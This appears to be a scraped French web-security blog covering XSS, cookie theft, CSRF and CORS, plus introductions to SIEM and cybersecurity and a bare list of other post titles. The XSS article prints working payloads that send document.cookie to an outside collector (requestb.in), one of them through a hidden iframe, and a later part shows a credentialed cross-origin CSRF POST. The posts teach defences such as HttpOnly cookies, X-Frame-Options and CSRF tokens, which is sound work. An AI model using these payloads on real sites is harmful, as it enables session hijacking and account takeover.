Cependant Access-Control-Allow-Origin: * : toutes les origines peuvent accéder à la ressource. La restriction concernant l’utilisation du wildcard est que les réponses des requêtes XHR withCredentials ne pourront pas être lues pour des raisons de sécurité, même si le serveur positionne le header Access-Control-Allow-Credentials: true. Imaginons que toutes les conditions soient remplies; un pirate pourrait coder depuis son site (ou à partir d’une XSS) une succession de requêtes cross-origin incluant les credentials de l’utilisateur et effectuer des actions à son insu (la lecture des réponses withCredentials implique donc une origine explicitement autorisée par le serveur et un Access-Control-Allow-Credentials: true):

Comme nous l’avons vu, en l’absence de ce header, le navigateur bloquera l’accès à la réponse. Cependant cette requête simple CORS POST withCredentials sera interprétée sur le serveur si ce dernier ne possède pas de filtre CORS explicite (à partir d’un site malicieux, les requêtes GET, POST générées à partir d’éléments HTML enverront le cookie dans la requête. Sur de l’Ajax il faut rajouter la clause withCredentials = true).

Pour cet exemple, nous avons créé une page http://localhost/secu/cookie.html:

<script>
	var xhr = new XMLHttpRequest();
	xhr.open('POST', 'http://requestb.in/11hlgzo1');
	xhr.withCredentials = true;
	xhr.send('op=exaction');
</script>

Au préalable nous nous sommes connectés sur requestb.in. Ce site initialise plusieurs cookies dont le suivant :

Nous remarquons un cookie HttpOnly, donc impossible d’y accéder via document.cookie. Cependant withCredentials inclut automatiquement les cookies dans la requête (Update 14/05/2017: validé à nouveau sur Chrome v56, cependant le comportement n’est pas reproductible sur ma Kali sur des versions Firefox ESR v45.3 et Chromium v53).

Vérifions l’éxecution du payload sur request.bin :

Un petit tour du côté de la console :

XMLHttpRequest cannot load http://requestb.in/11hlgzo1. No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'http://localhost' is therefore not allowed access

Et de la réponse :

HTTP/1.1 200 OK
Date: Sat, 20 Aug 2016 14:41:21 GMT
Content-Type: text/html; charset=utf-8
Sponsored-By: https://www.runscope.com
Set-Cookie: session=eyJyZWNlbnQiOlsiMTFobGd6bzEiLCIxNzRzOGR3MSJdfQ.Cpn9kQ.ouuFFtBlOyU9cX5aymJeDrg57gQ; HttpOnly; Path=/
Via: 1.1 vegur
Server: cloudflare-nginx
CF-RAY: 2d569b0e05cb0914-CDG
Content-Encoding: gzip
Transfer-Encoding: chunked

L’objet de cette attaque est donc de transmettre à un utilisateur authentifié une requête HTTP falsifiée qui pointe sur une action interne au site (www.site-de-confiance.com), afin qu’il l’exécute sans en avoir conscience et en utilisant ses propres droits. Il s’agit d’une attaque Cross-Site Request Forgery. Ici nous n’utilisons pas de faille XSS car tout se passe sur le site du pirate.

Comment éviter ce type d’attaque CSRF?

L’application doit positionner dans les formulaires un jeton aléatoire unique non prédictible par l’assaillant (nonce). Ainsi lors d’une soumission sur www.site-de-confiance.com, le serveur vérifiera si ce jeton est présent et si il est valide. Demandez également des confirmations sur vos actions critiques (exemple demande de l’ancien mot de passe si ce dernier doit être changé).

Vous trouverez sur https://github.com/phackt/DemoWebApp la protection CSRF activée par défaut avec Spring Security. Je vous recommande de lire la documentation si vous utilisez ce framework dans votre web app Java.

Voici par exemple ce qui est généré dans un formulaire :

<form id="idFilesUploadForm" action="uploadFile" method="POST" enctype="multipart/form-data">
	...
	<input type="hidden" name="_csrf" value="400a3ca2-4a8e-4c2e-b248-9d60a0e112b5" />
</form>

Vous vous demandez peut être si nous pouvons contourner ce token sur un site vulnérable au XSS. Rappelez-vous notre payload dans notre précédent article et le response header X-Frame-Options… Si cet header est absent rien ne nous empêche sur le site www.site-de-confiance.com de charger notre page dans une iframe, de récupérer le token et de le soumettre pour effectuer une action malveillante.

Il est également important de définir une politique CORS coté serveur. Nous pouvons tout simplement renvoyer un code 403 – Forbidden pour les cross-origin en implémentant un CORS Filter. A partir de Tomcat 7 vous pouvez utiliser le filtre CorsFilter dans votre chaine de filtres (fichier web.xml) :

<filter>
	<filter-name>CorsFilter</filter-name>
	<filter-class>org.apache.catalina.filters.CorsFilter</filter-class>
	<init-param>
		<param-name>cors.allowed.origins</param-name>
		<param-value>http://mondomain</param-value>
	</init-param>
</filter>
<filter-mapping>
	<filter-name>CorsFilter</filter-name>
	<url-pattern>/*</url-pattern>
</filter-mapping>

Vous trouvez le flowchart du filtre ici. Ceci interdit donc en amont l’accès à toute requête cross-origin.

Quid des frameworks pour développer des clients riches comme Angular ou React ?
Au vu de la multiplicité des requêtes asynchrones, il convient de positionner un token CSRF unique (à éviter en tant que cookie car devra être en httpOnly pour des requêtes xhr), et de rajouter ce token en tant que header (exemple X-XSRF-TOKEN: a0ed8d95-5694-4b77-853c-b04677677722) dans la requête, header qui sera vérifié coté serveur. Cet en-tête non standard permet également le déclenchement d’une requête préliminaire (OPTIONS) pour vérifier si l’origine de la requête est autoriséé.

Conclusion :

Nous avons vu que les vecteurs d’attaques sont multiples sur les applications Web. Vous devez mettre en place toutes les mesures pour sécuriser les sessions de vos utilisateurs (assainissement des input, response headers de sécurité, sécurisation des cookies, token CSRF, bannissement du CORS côté serveur). Eprouvez votre application avec les outils nécessaires (Xenotix), regardez quels sont les headers envoyés et reçus directement dans votre navigateur ou grâce à un proxy comme Burp Suite ou Owasp ZAP.

Nous verrons dans un prochain article comment utiliser les techniques vu précédemment dans une attaque Man In The Middle. Imaginez qu’un pirate se positionne entre vous et le site web : toutes les protections abordées précédemment seront indispensables pour éviter l’interception en clair de votre trafic et le vol de vos sessions. Pensez à l’injection d’un payload Javascript dans une ressource quelconque non sécurisée qui effectuerait une requête cross-site withCredentials sur du HTTP (non over SSL - ceci possible si cookie avec le flag Secure absent)…

C’est à ce niveau que le response header HSTS est primordial, car une ressource en cache dans le navigateur ayant le HSTS de positionné indiquera au navigateur que toute requête sur le domaine de cette ressource fera l’objet d’une redirection interne (307 Internal Redirect). Nous aborderons ce cas pratique identifié sur un site pour montrer que la protection HSTS est ici le dernier recours au vol de session lors d’une attaque MITM si le cookie n’est pas sécurisé (flag Secure). Ceci nous prouve que chaque protection doit être mise en place pour contrecarrer toutes les combinaisons d’attaques.

A bientôt.

Références :
https://developer.mozilla.org/fr/docs/HTTP/Access_control_CORS
https://www.w3.org/TR/cors/
https://fr.wikipedia.org/wiki/Cross-Site_Request_Forgery
https://tomcat.apache.org/tomcat-8.0-doc/config/filter.html

XSS, CORS, CSRF (Partie 2)

2016-08-15T00:00:00+00:00

XSS et vol de cookies par la pratique.

Vous reprendrez bien un cookie ?

Dans le premier volet de notre saga, nous traitions des attaques XSS et des moyens de s’en prémunir. Ces vulnérabilités peuvent être utilisées pour voler vos informations de session ou vous rediriger vers un site frauduleux. Vous vous dîtes sûrement : “ok coco en théorie c’est bien sympa tout ça, mais en quoi consiste le vol d’une session, quelles informations sont envoyées et où part la requête ?”.

Imaginons la configuration suivante :

Un internaute requête le site www.site-a.com qui est un site de confiance mais vulnérable au XSS. Un pirate pourra injecter le code suivant :

Juste un petit coucou !
<script>
	var xhr = new XMLHttpRequest();
	xhr.open('GET', 'http://requestb.in/w7iy5sw7?cookie=' + encodeURI(document.cookie));
	xhr.send();
</script>

Pour notre test nous partirons sur le postulat que www.site-a.com est notre localhost, et que www.site-b.com (le site du pirate qui récupère les infos) correspond au site http://requestb.in.

Le site http://requestb.in est très utile pour analyser les requêtes HTTP.

Lorsque le script est exécuté, ce dernier accède au document.cookie qui correspond au cookie du document HTML courant contenant l’id de session. Ce dernier peut ressembler à ceci :

Ou bien ceci :

Nous reviendrons sur ce dernier cas par la suite car ce dernier est un cookie sécurisé. Je vous recommande sous Chrome d’installer l’extension Cookie Inspector.

Pour nos tests voici la configuration mise en place :

Une page http://localhost/secu/cookie.php:

<?php
	setcookie('PHPSESSID_secure', 'jm5mah0a9uuf4g344096nled73', 0, '/secu', $_SERVER['SERVER_NAME'], isset($_SERVER["HTTPS"]), true);
	setcookie('PHPSESSID_unsecured', 'jm5mah0a9uuf4g344096nled73', 0, '/', $_SERVER['SERVER_NAME'], false, false);
?>

Vous ne pouvez pas définir de cookie pour un autre domaine.

Les cookies générés (deux cookies à des fins de test):

Les champs Domain, Path, HTTP et Secure sont les champs qui permettront de sécuriser notre cookie:

domain : le domaine racine concerné par le cookie
path : détermine pour quelle arborescence à partir du domaine racine le cookie sera accessible
session.cookie_httponly : empêche un cookie d’être accessible via javascript (XSS ;))
session.cookie_secure : accède au cookie uniquement sur des connexions HTTPS (empêche les informations de transiter en clair – voir également la solution HSTS)

Une page vulnérable http://localhost/xss.php qui contient le payload vu précédemment.

Ce cookie est envoyé via une requête XMLHttpRequest sur requestb.in. Regardons quelles informations sont réceptionnées :

Nous récupérons bien l’id de session de notre cookie non sécurisé uniquement. Ceci a été possible car :

Faille XSS ayant permis l’injection de javascript
Cookie avec le flag HttpOnly à false
Requête Cross-Origin simple sur le site du pirate pour récupération des informations
Cookie avec un Path permissif (toute l’arborescence du site)

Il convient de définir un path pour lequel le cookie doit être actif, dans notre exemple un espace sécurisé /secu qui sollicite le cookie session. Ainsi notre page publique vulnérable xss.php à la racine / n’aurait pas été en mesure d’accéder au cookie. Modifions le path de notre cookie unsecured :

setcookie('PHPSESSID_unsecured', 'jm5mah0a9uuf4g344096nled73', 0, '/secu', $_SERVER['SERVER_NAME'], false, false);

Et si maintenant nous tentions dans notre payload (depuis la page http://localhost/xss.php) d’accéder à la page http://localhost/secu/cookie.php, de lui voler son cookie et de nous l’envoyer :

<script>    
	var xhr = new XMLHttpRequest();
	xhr.onreadystatechange = function () {

		if (xhr.readyState == 4) {
			var cookie = xhr.getResponseHeader('Set-Cookie');   
				
			var xhr2 = new XMLHttpRequest();
			xhr2.open('GET', 'http://requestb.in/w7iy5sw7?cookie=' + encodeURI(cookie), false);
			xhr2.send();
		}
	}	
	xhr.open('GET', 'http://localhost/secu/cookie.php');
	xhr.send();		  
</script>

Malheureusement nous obtenons : Refused to get unsafe header "Set-Cookie".

La spécification XMLHttpRequest interdit l’accès à certains response headers pour des raisons de sécurité. Les navigateurs chrome / firefox / IE retourneront donc null (https://fetch.spec.whatwg.org/#forbidden-header-name).

N’y-a-t-il pas une autre méthode que notre XHR pour charger cookie.php?

<script>    
	var iframe = document.createElement("iframe");
	iframe.src = "http://localhost/secu/cookie.php";
	iframe.hidden = true;            
	var iframeObj = document.body.appendChild(iframe);

	iframeObj.onload = function(){            
		var cookie = iframeObj.contentDocument.cookie;
		var xhr = new XMLHttpRequest();
		xhr.open('GET', 'http://requestb.in/w7iy5sw7?cookie=' + encodeURI(cookie));
		xhr.send();
	};          	  
</script>

Bingo, même avec un path défini pour ce cookie, nous avons pu le récupérer, et si vous avez bien retenu votre leçon dans le volet 1 de notre saga XSS, vous connaissez la contre-mesure à ce payload : le response header X-Frame-Options qui interdit qu’une page soit rendue dans un <frame>, <iframe> ou <object>. Bien évidemment il est préférable en amont de toujours positionner le flag HttpOnly. L’accès au cookie par javascript est peu justifiable dans les développements Web.

“J’ai activé la console de mon navigateur et je remarque cependant un warning:”

XMLHttpRequest cannot load http://requestb.in/w7iy5sw7?cookie=PHPSESSID_unsecured=jm5mah0a9uuf4g344096nled73.  
No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'http://localhost' is therefore not allowed access.

“Nous requêtons depuis une ressource du domaine http://localhost:80 vers le domaine http://requestb.in:80, et nous avons ce message, comment se fait-il que la requête ait abouti ?”

Et bien je vous remercie d’avoir posé la question :). Nous sommes typiquement dans le cas d’une requête Cross Origin. Aujourd’hui AJAX est omniprésent dans les développements de par l’essor des frameworks client riches comme AngularJS. Je réserve le détail du Cross-Origin Resource Sharing pour le dernier volet de cette saga. La connaissance du CORS est essentielle pour les développeurs WEB.

Imaginez que vous surfiez sur un site frauduleux qui puisse soumettre à votre insu des requêtes sur un de vos sites préférés en incluant vos informations de session et poster des formulaires à votre place… C’est à ce niveau qu’il est essentiel de bien configurer le Cross-Origin Resource Sharing et de définir un token de sécurité pour éviter les attaques Cross-Site Request Forgery. Ceci nous montre bien que les vecteurs d’attaques sont multiples.

A très bientôt.

PARTIE 3

Références:
http://php.net/manual/fr/session.security.php
https://geekflare.com/httponly-secure-cookie-apache/
https://fetch.spec.whatwg.org/
https://geekflare.com/secure-cookie-flag-in-tomcat/

XSS, CORS, CSRF (Partie 1)

2016-08-09T00:00:00+00:00

Le XSS, CORS, CSRF… Késako?

Que se cache-t-il derrière ces acronymes barbares ?

Bienvenue dans cette saga qui traitera des notions de XSS, CORS, CSRF et du lien entre elles.
Vous en avez forcément entendu parler si vous avez été impliqués dans la création d’applications WEB. L’idée de cet article m’est venue suite à la création d’une application WEB “cas d’école” en Java https://github.com/phackt/DemoWebApp. La question que nous nous posons est la suivante : quelles sont les bonnes pratiques pour sécuriser une application WEB ?

Dans ce premier volet, nous traiterons des attaques de cross-site scripting. Nous ferons le lien par la suite avec les protections CSRF (Cross Site Request Forgery) et les requêtes CORS (Cross Origin Ressource Sharing).

XSS

Définition de Wikipédia :
” Le cross-site scripting (abrégé XSS), est un type de faille de sécurité des sites web permettant d’injecter du contenu dans une page, permettant ainsi de provoquer des actions sur les navigateurs web visitant la page. Les possibilités des XSS sont très larges puisque l’attaquant peut utiliser tous les langages pris en charge par le navigateur (JavaScript, Java, Flash…) et de nouvelles possibilités sont régulièrement découvertes notamment avec l’arrivée de nouvelles technologies comme HTML5. Il est par exemple possible de rediriger vers un autre site pour de l’hameçonnage ou encore de voler la session en récupérant les cookies.”

L’objectif est donc l’injection de code dans la page HTML pouvant être interprété par le navigateur. Si les balises permettant l’interprétation de code arbitraire ne sont pas bien filtrées, exemple classique avec la balise <script>, alors nous pourrons exécuter du code à l’insu de l’utilisateur.
Il existe deux types d’attaques XSS, les réfléchies, et les stockées. Les réfléchies sont injectées dans la requête et le code interprétable n’est pas stocké de façon permanente sur le serveur.

Un exemple basique sur une page PHP :

<?php
  $name = $_GET['name'];
  echo "Welcome $name";
?>

Un autre exemple en JSP :

<% String name = request.getParameter("name"); %> 
Employee name: <%= name %>  

Si vous appelez /index?name=<script>prompt(1)</script>, votre navigateur interprétera la balise <script> et affichera un donc un prompt. Aucun intérêt ici mais on vous laisse deviner la portée d’une telle attaque : un payload javascript pourra voler vos informations de session (document.cookie), envoyer des requêtes à votre insu sur le site vulnérable ou faire de la redirection dans un but d’hameçonnage. Les attaques XSS Reflected sont souvent associées à de l’ingénierie sociale car l’utilisateur doit accéder à un lien provoquant l’exécution du code.

Cependant ce code peut être stocké de façon permanente dans les attaques XSS Stored. Le principe est le même sauf que le code est stocké sur le serveur, le cas classique étant un forum vulnérable qui sauvegarde les messages infectés (OWASP (Open Web Application Security Project) Cross-Site Scripting).

Comment s’en prémunir ?

Il convient d’assainir en entrée les données (Filter) et d’encoder l’information pour les réponses HTTP. Tout dépend du langage de programmation, framework utilisé, et également de l’endroit où se situe point d’injection.

Par exemple si vous travaillez avec Spring MVC pour échapper les outputs:

<context-param>
   <param-name>defaultHtmlEscape</param-name>
   <param-value>true</param-value>
</context-param>

Cependant ceci n’échappera que les Spring tags: <form:input path="formField" htmlEscape="true" /> ou bien <spring:message code="label.name.first">

Si vous codez des pages JSP :

${description} est vulnérable en Expression Language, idem pour <%=description%> en scriptlet. Préférez ${fn:escapeXml(file.description)} ou encore la JSTL (JavaServer Pages Standard Tag Library) <c:out value="${file.description}. La balise JSTL <c:out/> permet d’afficher une variable et possède l’attribut escapeXml à true par défaut (caractères <,>,&,’,”).
Tester les fonctions d’échappement du framework de rendu que vous utilisez et si besoin échappez vos entrées coté serveur : HtmlUtils.htmlEscape avec Spring, StringEscapeUtils.escapeHtml4 d’Apache Commons, ou le Java HTML Sanitizer d’OWASP.

Autre exemple si vous codez en PHP, utilisez les fonctions htmlentities (avec l’option ENT_QUOTES, pour échapper les simple quotes), ou htmlspecialchars.

Vous pouvez également protéger votre application derrière un Web Application Firewall (ex: ModSecurity). ModSecurity met à disposition une page permettant d’éprouver leur moteur de détection d’injection XSS.

Si vous utilisez la couche Spring Security (ce qui a été mon cas ;)), le framework inclut par défaut de nombreux headers dans la réponse HTTP:

X-Content-Type-Options: Stipule de ne pas deviner le MIME-Type si mal renseigné (spécifique à certaines attaques XSS) – voir OWASP XSS Filter Evasion Cheat Sheet.
X-XSS-Protection: Stipule d’activer l’auditeur XSS du navigateur. Si votre site est vulnérable au XSS, mais que votre réponse contient le header X-XSS-Protection: 1; mode=block, vous aurez le message suivant dans la console de votre navigateur (ici Chrome): Refused to execute inline script because it violates the following Content Security Policy Directive.
Update 10/08/2020: Ce header est aujourd’hui obsolète, il sera remplacé par la directive Reflected-XSS dans l’en-tête CSP.
X-Frame-Options: Spécifie au navigateur qu’une page ne peut être rendue dans un <frame>, <iframe> ou <object>.

Ces headers, ainsi que HTTP Strict-Transport-Security (abrégé HSTS – oblige le navigateur à requêter sur du HTTPS, utile pour lutter contre le blocage des connexions sécurisées HTTPS avec des outils comme sslstrip lors d’attaques “Man In The Middle”), ou Cache-Control sont par défaut inclus et activés dans la couche Spring Security (Spring Security Headers).
Il convient également d’ajouter le header Content-Security-Policy qui propose de nombreuses directives de sécurité définissant quelles ressources peuvent être chargées et exécutées par le browser.

Si vous utilisez une autre technologie ou framework, pensez à inclure ces response headers en fonction de vos besoins.

Pensez également à sécuriser vos cookies session. Les requêtes XSS ont pour objectif le vol de ces cookies. Stipulez au navigateur que ce dernier ne peut pas y accéder via javascript (flag HttpOnly). Pour un site HTTPS, ces derniers ne doivent pas être accessibles sur des connexions non cryptées (flag Secure): https://tools.ietf.org/html/rfc6265#section-5.2.4.

Des outils pour vos développements sécurisés

Eprouvez votre application avec un outil tel que Xenotix.
Vous disposez aussi des supports OWASP XSS Filter Evasion Cheat Sheet et OWASP Prevention Cheat Sheet.

Il est également important de parler de l’api d’OWASP ESAPI (The OWASP Enterprise Security API) qui est une API libre, open source, qui facilite le développement sécurisé d’applications, facilement intégrable à une application existante ou pour de nouveaux développements. Cette API offre de nombreuses implémentations permettant les validations des entrées, l’authentification, l’encoding, l’échappement, … l’API existe pour différents langages, JAVA EE, .NET, PHP, Python, Javascript, ASP, Coldfusion & CFML.

Il existe également d’autres projets qui peuvent répondre à vos besoins :

Output encoding: OWASP Java Encoder Project
General HTML sanitization: OWASP Java HTML Sanitizer
Validation: JSR-303/JSR-349 Bean Validation
Strong cryptography: Keyczar
Authentication / authorization: Apache Shiro
CSRF protection: OWASP CSRFGuard Project or OWASP CSRFProtector Project.

Les attaques possibles sont nombreuses sur une application web, nous avons mis en avant celles de type XSS. Nous verrons dans un prochain article comment ces attaques peuvent détourner les protections CSRF, voler les cookies de session et dans quelle mesure les requêtes Cross-Origin impactent la sécurité d’une application web.

A bientôt!

PARTIE 2

Références:

Introduction au SIEM

2016-08-05T00:00:00+00:00

SIEM, le monitoring de la sécurité

Nous avons vu dans un précédent article quel était le contexte réglementaire de la Loi de Programmation Militaire française.

Que dites-vous d’une petite révision ?

La LPM impose aux OIV (Opérateurs d’Importance Vitale) de renforcer la sécurité des systèmes d’information critiques qu’ils exploitent et de notifier les incidents de sécurité à l’ANSSI (Agence Nationale de la Sécurité des Systèmes d’Information).
Une première vague d’arrêtés a été publiée le 1er juillet 2016. Ces arrêtés concernent les secteurs d’activité des produits de santé, la gestion de l’eau et l’alimentation. Plusieurs autres arrêtés, concernant d’autres secteurs d’activité, devraient paraître d’ici la fin de cette année.

Notez que la Commission européenne a également adopté, en février 2013, une proposition de directive visant à assurer un niveau élevé commun de sécurité des réseaux et de l’information dans l’Union.

Les OIV se retrouvent donc avec l’obligation de mettre en œuvre des systèmes qualifiés de détection des évènements susceptibles d’affecter la sécurité de leurs systèmes d’information. En cas de manquement, ceci peut coûter cher : la LPM 2014-2019 sanctionne les manquements à la loi d’une amende de 150.000€, s’élevant à 750.000€ pour les personnes morales. La loi française ne distingue pas selon que le manquement est ou non intentionnel. La simple négligence est donc en principe condamnable.

Nous voyons donc qu’en sus d’un réel besoin, le cadre réglementaire concernant la supervision de la sécurité des entreprises est posé.

Mais en quoi consiste ce monitoring de la sécurité ?

Nous allons aborder la notion de SIEM : Security Information and Event Management.
Le SIEM est le résultat de la volonté de superviser l’activité de son système d’information.
Il a donc pour objectif de collecter les fichiers d’évènements (logs) de différentes sources, de les uniformiser, et de les corréler. On parle de corrélation car ces solutions sont munies de moteurs de corrélation qui permettent de relier plusieurs évènements à une même cause.

Un SIEM impliquera également la création d’une équipe dédiée, capable d’assurer plusieurs niveaux de services autour de l’outil. En effet, il faudra être en capacité de lire, d’analyser, de vérifier, de valider les alertes de sécurité remontées par la solution 7j/7 24H/24, les assaillants n’attendant pas patiemment les heures ouvrées pour commettre leurs exactions.

En somme, il faudra créer un SOC (Security Operation Center).

Quel rapport entre journaux et sécurité ?

Le monitoring du SI implique deux besoins : la gestion des logs et la supervision de la sécurité.

La gestion des logs, plus souvent appelée « Log Management », consiste en la mise en place d’une ou plusieurs solutions permettant à une entreprise de collecter, stocker, sécuriser et archiver les journaux d’information provenant des différents équipements de sécurité, d’authentification, réseaux…

Ce besoin fait très souvent suite à des contraintes légales de conservation et de non-répudiation des informations. Un exemple est l’analyse post incident et la visualisation de requêtes d’exfiltration de données par le hacker. La brique d’indexation et de recherche est assurée par un système d’indexation très rapide (exemple ElasticSearch en open source).

La supervision de la sécurité quant à elle, relève d’un réel besoin des entreprises de suivre en temps réel l’activité de leur SI, de corréler tous les évènements qui s’y passent et d’être alertés en cas de problème de sécurité. Cette partie sera assurée par une couche HIDS (Host Based Intrusion Detection System - ex: OSSEC) / NIDS (Network Intrusion Detection System - ex: SNORT).

Les alertes de ces systèmes seront remontées au SIEM qui effectuera des corrélations (règles de détection mises à jours régulièrement, expressions régulières) permettant de détecter des comportements suspicieux probants, et ainsi d’anticiper une attaque (exemple de scan de ports – voir nmap), ou de remonter une alerte sur une attaque en cours. De surcroît, les informations remontées par les NIDS et HIDS sont complémentaires : le NIDS remontera la source de l’attaque (IP) et le payload envoyé, le HIDS alertera sur l’action effectuée sur le système ciblé et si cette dernière a abouti.

Ainsi des règles de corrélations pourront être mises en place pour déterminer la criticité d’une alerte (évitez les règles trop génériques pouvant mener à des faux positifs). Voici un exemple de règle de corrélation d’un SIEM impliquant des alertes de SNORT et d’OSSEC sur une attaque LFI (Local File Inclusion):

Le SIEM dispose d’une partie graphique pour l’affichage des Key Risk Indicators(reportings et dashboards).
Ces composantes sont donc intimement liées. Les solutions doivent faire appel à des technologies de Big Data pour assurer la rapidité de traitement et garantir l’intégrité de ces gros volumes de données qui transitent par le SIEM.

Quelles sont donc ces solutions ?

Selon le Gartner Magic Quadrant 2015 :

And the winner is…. IBM Security QRadar, suivi de HP ArcSight et de Splunk.
Ces solutions sont commerciales, mais le geek qui est en vous se demande déjà ce qu’il en est des solutions libres ? Effectivement il existe des solutions comme OSSIM qui est un SIEM open source, mais cependant limité (absence de règles de corrélations, reporting basique, …).

Il existe également une solution d’agrégation de logs, ou plutôt une stack open source de produits Elastic, la stack ELK (ElasticSearch, Logstash, Kibana) :

ElasticSearch : moteur de stockage et d’indexation de documents et moteur de requête/d’analyse de ceux-ci.
Logstash: analyse, filtrage et découpage des logs pour les transformer en documents, parfaitement formatés notamment pour ElasticSearch.
Kibana: dashboard interactif et paramétrable permettant de visualiser les données stockées dans ElasticSearch.

Notre premier besoin est couvert, mais concernant notre supervision de la sécurité ?

Pour notre HIDS, vous trouverez la solution open source OSSEC. Concernant le NIDS, voici SNORT.

Notre prochain article consacré au SIEM se concentrera donc sur la mise en place de cette solution ELK + surcouche OSSEC. Nous ferons également le parallèle avec les enjeux Big Data concernant ces solutions.

A bientôt.

Références:
http://www.orange-business.com/fr/blogs/securite/securite-organisationnelle-et-humaine/securite-siem-ou-pas-siem-
https://www.itrust.fr/SIEM
http://www.itrmanager.com/articles/164117/siem-element-incontournable-oiv.html
http://www.village-justice.com/articles/Quelles-obligations-pour-les-OIV,16739.html
http://www.wazuh.com/elk-stack/
http://connect.ed-diamond.com/MISC/MISC-069/SIEM-IDS-l-union-fait-elle-la-force

Introduction à la cybersécurité

2016-07-31T00:00:00+00:00

Cybersécurité, un enjeu bien réel.

Quels sont ses objectifs et pourquoi manifeste-t-on aujourd’hui un tel engouement pour ce secteur ?

Il y a quelques années, les entreprises restaient frileuses à investir dans ce secteur : pour quel retour sur investissement se disaient-elles ? Le secteur était de niche, les formations diplômantes en sécurité informatique n’étant également pas légion. Aujourd’hui nous pouvons trouver pléthore de ces formations, mastères, certifications (CEH, CISSP, CISO, …).

Ce sujet est donc devenu incontournable et la cybersécurité/cyberdéfense se sont imposées comme priorité de sécurité nationale pour les entreprises et grandes puissances mondiales. Nous assistons à une véritable prise de conscience concernant les enjeux liés à la protection et la sécurisation des systèmes d’information vitaux pour le fonctionnement de l’État, ceci souligné par un contexte tendu d’état d’urgence.

Quelle définition officielle ?

Définition de la cyberdéfense de l’ANSSI (Agence nationale de la sécurité des systèmes d’information): « Ensemble des mesures techniques et non techniques permettant à un État de défendre dans le cyberespace les systèmes d’information jugés essentiels».

La LPM et OIV

Dans les finances publiques françaises, une Loi de Programmation Militaire, abrégée LPM, est une loi visant à établir une programmation pluriannuelle des dépenses de l’État en matière militaire. Les lois de programmation militaire ont des durées d’application de quatre, cinq ou six ans. Depuis 2003, les LPM couvrent des périodes de six ans.

Bien au-delà du monde « militaire de la défense », la LPM décline aussi les enjeux de « cyberdéfense » pour la sécurité de notre pays. Cette loi amende quelques articles de différents codes (code de la défense, code de procédure pénale, code de la sécurité intérieure, code de la propriété intellectuelle …), et en ajoute quelques-uns. Elle donne aux OIV (Opérateurs d’Importance Vitale – santé, alimentation, énergie, finance, …) quelques obligations concernant la sécurisation de leurs systèmes d’information et de posséder un plan de continuité d’activité en cas d’incident.

La cyberguerre est un parallèle au champ de bataille physique, et nous y retrouvons nos trois composantes principales : la prévention / anticipation, la gestion de crise lors d’une attaque, et le traitement post incident.

Ainsi le spectre des activités autour de la sécurité informatique est large:

Sécurité offensive: Tests de pénétration, Audit de sites web
Sécurité défensive: Développement applicatif sécurisé, monitoring et sécurisation des réseaux et plateformes (IDS, SIEM, Infra PKI), gestion des identités (IAM), gestion des incidents au travers des entités SOC, CERT/CSIRT
Inforensique: Investigation et récupération de données à des fins juridiques (rétro-ingénierie, analyse de cellulaires / PC, corrélation d’évènements)
Gouvernance de la sécurité d’un SI: Mise en conformité, normalisation ISO 2700X, PCI, continuité d’activité, risk management

Nous reviendrons sur ces différents domaines de compétences dans de prochains articles et rentrerons plus en détails sur les outils et techniques utilisés pour se prémunir de différents dangers (sécurisation des développements, vulnérabilités applicatives ou protocolaires, gestion des authentifications, phising, etc…). Nous nourrissons le souhait de vous fournir des articles aussi bien généralistes que beaucoup plus techniques.

N’hésitez pas à nous soumettre vos suggestions.

phackt.org

How to mitigate DnsAdmins privilege escalation ?

Mitigations

DnsAdmins cleared

DnsAdmins security descriptor

Owner

ACL

MicrosoftDNS security descriptor

Conclusion

Why DnsAdmins privilege escalation is still working ?

What is DnsAdmins ?

MicrosoftDNS container

What are the necessary rights for the exploitation

First conclusion

Kerberos constrained delegation with protocol transition

Implementation of the constrained delegation with protocol transition + msDS-AllowedToDelegateTo

Prerequisites

TrustedToAuthForDelegation

Enumeration

Attack scenario

Exploitation

Persistence

T2A4D on an arbitrary domain user

SeEnableDelegationPrivilege

The End

More BloodHound Cypher queries

Queries

Count the distinct users logon sessions on a domain :

Get All computers with their users logon sessions :

Get computers having a session from usernames like “ADM.*” (matching specific OS) :

Find all Domain Admins :

Find all Domain Admins (nested SID S-1-5-21-.*-512) having a session opened on a domain computer :

Show all high value target principals :

List of unique users with a path to a “highvalue” targets :

Shortest paths from Domain Users to “highvalue” targets :

Find user with a username like “ADM.*” who logged on a computer which has a owned local admin :

Find all edges that a “specific user” has against all the nodes (HasSession is not calculated, as it is an edge that comes from computer to user, not from user to computer) :

Find all the edges that any UNPRIVILEGED user (based on the admincount:False) has against all the nodes :

Find interesting edges related to “ACL Abuse” that unprivileged users have against other users :

Find interesting edges related to “ACL Abuse” that unprivileged users have against computers :

Find if unprivileged users have rights to add members into groups :

Find only the AdminTo privileges (edges) of the domain users against the domain computers :

Find which groups canRDP to computers :

Find what groups have local admin rights :

Find what users have local admin rights :

Mark a user as owned :

Displays all GPOs :

Displays all GPOs containing a “keyword” in their name :

Find if a domain user has some interesting rights on a GPO :

SecurityTube Advanced Red Team Lab training - Worth it ?

Context

What i really liked

What should be / will be improved

What you will learn

Hints (that you may not find in others blog posts)

Tools

More to come

What solutions to prevent git leaks ?

Objectives :

Tools to look for sensitive data :

Prevent commits :

Finally what to conclude :

Gathering some information from web exposed GIT repositories

Play with permissive CORS

A fun case of XSS and other web concepts

Fingerprinting Web Application static files

SLAE Assignment 7 - Custom crypter

Assignment 7:

SLAE Assignment 6 - Polymorphic shellcodes

Assignment 6:

jmp/call/pop execve shell:

unlink /etc/passwd shellcode:

netcat bin shellcode:

SLAE Assignment 5.3 - Msfvenom linux/x86/chmod shellcode Analysis

Assignment 5.3:

SLAE Assignment 5.2 - Msfvenom linux/x86/read_file shellcode Analysis

Assignment 5.2:

SLAE Assignment 5.1 - Msfvenom linux/x86/exec shellcode analysis

Assignment 5.1:

SLAE Assignment 4 - Encoding/Decoding Shellcode